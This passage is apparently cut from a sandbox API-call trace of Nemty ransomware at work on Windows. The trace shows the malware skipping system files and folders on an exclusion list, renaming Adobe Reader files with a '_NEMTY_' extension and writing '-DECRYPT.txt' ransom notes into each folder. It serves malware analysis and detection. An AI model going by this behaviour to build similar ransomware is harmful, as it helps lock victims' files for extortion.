lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.449] CloseHandle (hObject=0x3b0) returned 1 [0171.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.449] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.450] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19ce67d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19ce67d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19ce67d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.450] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.451] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19ce67d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19ce67d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19ce67d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.451] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.451] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ENU", cAlternateFileName="")) returned 1 [0171.451] lstrcmpiW (lpString1="ENU", lpString2=".") returned 1 [0171.451] lstrcmpiW (lpString1="ENU", lpString2="..") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="...") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="windows") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="$RECYCLE.BIN") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="rsa") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="NTDETECT.COM") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="ntldr") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="MSDOS.SYS") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="IO.SYS") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="boot.ini") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="boot.ini") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="AUTOEXEC.BAT") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="ntuser.dat") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="desktop.ini") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="CONFIG.SYS") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="RECYCLER") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="BOOTSECT.BAK") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="bootmgr") returned 1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="programdata") returned -1 [0171.452] lstrcmpiW (lpString1="ENU", lpString2="appdata") returned 1 [0171.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENU", lpUsedDefaultChar=0x0) returned 3 [0171.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENU", lpUsedDefaultChar=0x0) returned 3 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.454] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.454] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.455] CloseHandle (hObject=0x254) returned 1 [0171.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.456] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.456] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.457] CloseHandle (hObject=0x254) returned 1 [0171.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.457] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19d58bf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19d58bf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.457] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.457] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19d58bf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19d58bf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.457] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.457] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.457] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.459] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.460] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.460] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.460] WideCharToMultiByte (in: 